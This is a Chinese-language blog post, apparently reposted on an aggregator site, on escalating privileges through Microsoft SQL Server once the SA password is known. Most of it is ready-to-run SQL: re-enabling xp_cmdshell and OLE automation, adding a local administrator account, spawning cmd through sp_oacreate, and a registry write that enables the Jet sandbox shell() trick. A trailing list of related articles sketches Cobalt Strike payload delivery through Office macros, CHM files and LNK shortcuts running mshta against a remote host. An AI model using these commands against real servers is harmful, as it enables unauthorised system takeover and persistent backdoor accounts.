MSSQL提权

之前对MSSQL提权了解较少,所以在这里记录一些关于这类提权的几种姿势

1.xp_cmdshell提权

存储过程为数据库提供了强大的功能,其类似UDF,在MSSQL中xp_cmdshell可谓臭名昭著了。MSSQL强大的存储过程也为黑客提供了遍历,在相应的权限下,攻击者可以利用不同的存储过程执行不同的高级功能,如增加MSSQL数据库用户,枚举文件目录等等。而这些系统存储过程中要数xp_cmdshell最强大,通过该存储过程可以在数据库服务器中执行任意系统命令。MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。

前提是必须获取SA用户的密码(SA用户具有最高权限)

在连接成功后在sql命令处执行:

exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'

就能成功的创建一个账户aaa并且加到管理员组:

如果执行sql语句不成功,首先检查判断xp_cmdshell是否存在:

select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;

返回1是存在的

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

开启xp_cmdshell:

EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1  //打开xp_cmdshell扩展
RECONFIGURE

关闭xp_cmdshell:

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

提权:

exec master..xp_cmdshell 'net user test pinohd123. /add'    添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add'    添加test用户到管理员组

2.sp_oacreate提权

xp_cmdshell被删除的时候,考虑使用sp_oacreate

开启:

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;recofigure;

关闭:

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;

提权:

declare @shell int
exec sp_oacreate 'wscript.shell', @shell out
exec sp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe \c "net user test test /add" '
declare @shell int
exec sp_oacreate 'shell.application',@shell out
exec sp_oamethod @shell, 'shellexecute', null, 'cmd.exe', 'cmd /c net user test test /add', 'c:\windows\system32', '','1';

3.沙盒提权

什么是沙盒模式?

沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的.

利用条件:

1,Access可以调用VBS的函数,以System权限执行任意命令
2,Access执行这个命令是有条件的,需要一个开关被打开
3,这个开关在注册表里
4,SA是有权限写注册表的
5,用SA写注册表的权限打开那个开关
6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令

开启默认关闭的xp_regwrite存储过程:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

利用jet.oledb执行系统命令添加系统账号:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358242.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何以及为什么序列化Lambda

总览 lambda序列化在许多用例中很有用,例如持久配置或作为远程资源的访客模式 。 远程访客 例如,因此我想访问远程Map上的资源,可以使用get / put,但是说我只想从Map的值中返回一个字段,我可以将lambda作为访问者来传…

NSTimer注意内存泄露(真该死)

NSTimer可以用来执行一些定时任务,比较常用的方法就是: (NSTimer *)timerWithTimeInterval:(NSTimeInterval)ti target:(id)aTarget selector:(SEL)aSelector userInfo:(id)userInfo repeats:(BOOL)yesOrNo; 可是,仔细看官方文档中对于参数t…

Redis漏洞利用的4种方法

Redis简介 redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remov…

系统已有MYSQL环境,如何安装宝塔面板

最近一直想搞一个在线博客网站,把代码部署到服务器。 下载己经下载了宝塔的.exe文件,安装提示系统已经存在MYSQL环境,请用纯净系统安装。 因为我以前做java的,已经装了,现在把它卸载即可。 WINR打开注册表输入regedit。 删除HK…

Mysql命令alter add:增加表的字段

alter add命令用来增加表的字段。alter add命令格式:alter table 表名 add字段 类型 其他;例如,在表MyClass中添加了一个字段passtest,类型为int(4),默认值为0: mysql> alter table MyClass add passtest int(4) …

宝塔命令号操作全-最实用的莫过于修改密码啦

连续输入五次密码错误,只能CMD进行操作啦。看上图。

swaks使用教程

Swaks基本用法: 1、swaks --to testqq.com 测试邮箱的连通性; 2、参数说明(这里只是简单的罗列了一些,至于更加具体的内容可以使用–help进行查看了解): --from testqq.com //发件人邮箱&#xff1…

具有Rx-Java的Couchbase Java SDK

关于Couchbase Java SDK的一件整洁的事情是,它建立在出色的Rx-Java库的基础上,这为与Couchbase服务器实例进行交互提供了一种反应性的方式,一旦掌握了它,它就非常直观。 考虑一个我打算存储在Couchbase中的非常简单的json文档&am…

电脑win7支持的node.js版本

从官网看了都是最新的版本,我这电脑是win7的,最新版支持最低版本win8.1. 只能找一个支持win7、的node版本。 官网:https://nodejs.org/en/download/ 历史版本:https://nodejs.org/en/download/releases/ 建议打开图标下载,打开链接下载速度特别慢。 下载完成后直接傻瓜式安…

in-place数据交换

实现in-place的数据交换 声明:引用请注明出处http://blog.csdn.net/lg1259156776/ 经典的排序问题 问题描述 一个数组中包含两个已经排好序的子数组,设计一个in-place(原位操作)算法来对这个数组排序。测试数据为 a[] 1 4 5 7 8 …

Office-DOC加载宏-上线CS

原理 将直接加载远程带有宏的恶意模版使用。 缺点 目标主机的网速决定了加载远程模版的速度。有可能文件打开的会特别慢(例如将远程模版放在github),受害者可能在文件打开一半的时候强制关闭word。优点 因为是远程加载,所以免杀效果十分不错。基本不会…

防抖函数和节流函数的实现,这个是在某保险公司笔试题遇到的。

scroll 事件本身会触发页面的重新渲染,同时 scroll 事件的 handler 又会被高频度的触发, 因此事件的 handler 内部不应该有复杂操作,例如 DOM 操作就不应该放在事件处理中。 针对此类高频度触发事件问题(例如页面 scroll ,屏幕 resize,监听用户输入等),下面介绍两种常用…

电子书-CHM-上线CS

电子书-CHM-加载JS&PS-上线CS 1.对CS进行设置 服务端配置CS-客户端打开-攻击-钓鱼攻击-脚本web传递-配置选择监听器-设置端口-选择类型为power shell-点击开始-复制生成的利用代码 2.对当前.CHM电子书进行解压 进入文件后选择任意文件夹进入 3.这里演示:进入…

正则表达式常用符号所代表的含义

{n} n次 {1,3} 1~3次 {1,} 1到多次 1到多次 ? 0到一次 * 0到多次 ^ 匹配一行开始 $ 匹配一行结束 [abc] /[abc]/ 匹配"abc"中任意一…

发布单机端DELPHI程序访问MySQL必备文件

如图: 将你的DELPHI程序和midas.dlllibmysql.dllDbxmys.dll 放在同一目录下即可.转载于:https://www.cnblogs.com/smartlittleant/p/4838327.html

java java se_Java SE 7、8、9 –推动Java前进

java java se今天(注:2011年10月4日)是主题演讲日。 JavaOne Keynote将于今早从上午8:30到10:30进行,而我的新闻通行证又一次让我很早就参加了。 因此,我有时间在所有关键球员准备就绪并可能感到紧张的同时为其拍摄一些…

css中clear的作用是什么?

clear : none | left | right | both. 对于CSS的清除浮动(clear),一定要牢记:这个规则只能影响使用清除的元素本身,不能影响其他元素。 清除浮动方法, 1,给父级元素添加class“clearflex” 2,在css中给父…

利用快捷方式-LNK-上线CS

步骤: 1、生成:Attacks -> Packages -> Html Application 2、上传:Attacks——>Web Drive by——>Host file 3、执行:C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext 4、伪装: -创建快捷方式 -生成HTA并…

基本算法研究1-冒泡排序算法测试

基本算法研究1-冒泡排序算法测试 1、经典冒泡排序法基本原理 先看一个动态图,感觉比较形象: 冒泡排序(Bubble Sort)是一种简单的排序算法。默认是从小到大排序,即把最大的数据排在最后,相当于每次把最大数据…

当margin-top、padding-top的值是百分比时,分别是如何计算的?

CSS 百分比参照问题 参照父元素宽度的元素:padding margin width text-indent 参照父元素高度的元素:height 参照父元素属性:font-size line-height 特殊:相对定位的时候,top(bottom) left(right)参照的是父元素的内容区域的高度与…